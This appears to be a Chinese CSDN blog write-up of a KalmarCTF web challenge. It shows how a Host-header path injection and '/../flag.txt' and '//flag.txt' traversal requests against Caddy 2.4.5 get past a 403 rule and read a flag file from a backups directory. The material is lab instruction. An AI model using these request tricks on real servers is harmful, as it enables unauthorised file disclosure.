kalmarCTF(WEB|EZ)WP

目录

前提知识

靶场搭建

漏洞复现 


前提知识

  • file_server

一个静态文件服务器,支持真实和虚拟文件系统。它通过将请求的URI路径附加到站点的根路径来形成文件路径。

默认情况下,它执行规范的URI;这意味着HTTP重定向将被用于对不以尾部斜线结尾的目录的请求(添加它)或对有尾部斜线的文件的请求(删除它)。然而,如果内部重写修改了路径的最后一个元素(文件名),则不会发出重定向。

最常见的是,file_server指令与root指令配对,为整个网站设置文件根。一个站点的根并不带有沙盒保证:文件服务器确实可以防止目录遍历,但是根中的符号链接仍然可以允许根之外的访问。

  • root设置网站根目录。它类似于root指令,只是它只适用于这个文件服务器实例,并优先于任何可能已经定义的其他站点根目录。默认:{http.vars.root}或当前工作目录。注意:这个子指令只改变这个指令的根。其他指令(如try_files或templates)要指定根目录,请使用root指令而不是这个子指令。

靶场搭建

提前在docker把caddy:2.4.5-alpine给pull下来了

这里出现了一个问题,解决方案如下

卷已声明为外部卷,但找不到

external volume "caddy_data" not found

docker volume create caddy_data

docker compose up -d

成功创建镜像 

漏洞复现 

 这里需要修改本地的hosts文件

/C=DK/O=Kalmarunionen/CN=*.caddy.chal-kalmarc.tf
192.168.10.143      www.caddy.chal-kalmarc.tf

我们先看docker-compose文件

mkdir -p backups/ &&
cp -r *.caddy.chal-kalmarc.tf backups/ &&
rm php.caddy.chal-kalmarc.tf/flag.txt

在backups目录下将部分文件备份了一次,并且删除了flag.txt,此时我们可以到backups下面的php.caddy.chal-kalmarc.tf文件夹中获取flag.txt,运行目录在www.caddy.chal-kalmarc.tf,需要我们进行目录穿梭

我们再来看Caddyfile

*.caddy.chal-kalmarc.tf {
    encode zstd gzip
    log {
        output stderr
        level DEBUG
    }

    # block accidental exposure of flags:
    respond /flag.txt 403

    tls /etc/ssl/certs/caddy.pem /etc/ssl/private/caddy.key {
        on_demand
    }

    file_server {
        root /srv/{host}/
    }
}

 file_server: 这个配置启用了Caddy的文件服务器功能,它允许Caddy提供网站的静态文件。root指定了网站文件的根目录。{host}表示Caddy将使用来访问网站的主机名作为子目录名称,这使得Caddy可以为每个网站提供单独的文件根目录。

这里我们尝试跨目录获取flag

首先我们发现在php.caddy.chal-kalmarc.tf的index.php内容如下

GET //index.php HTTP/2

Host: backups/php.caddy.chal-kalmarc.tf

<?php
echo "I can't get this to work :/";
echo system("cat flag.txt");
?>

我们直接目录穿梭获取该目录下的flag.txt

/../flag.txt

      

也可以翻翻后续的补丁查找当前版本的漏洞

https://github.com/caddyserver/caddy/releases/tag/v2.4.6

  • Path matchers unescape/clean URI paths to normalize match space
  • Fix regex matching in map handler

//flag.txt

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值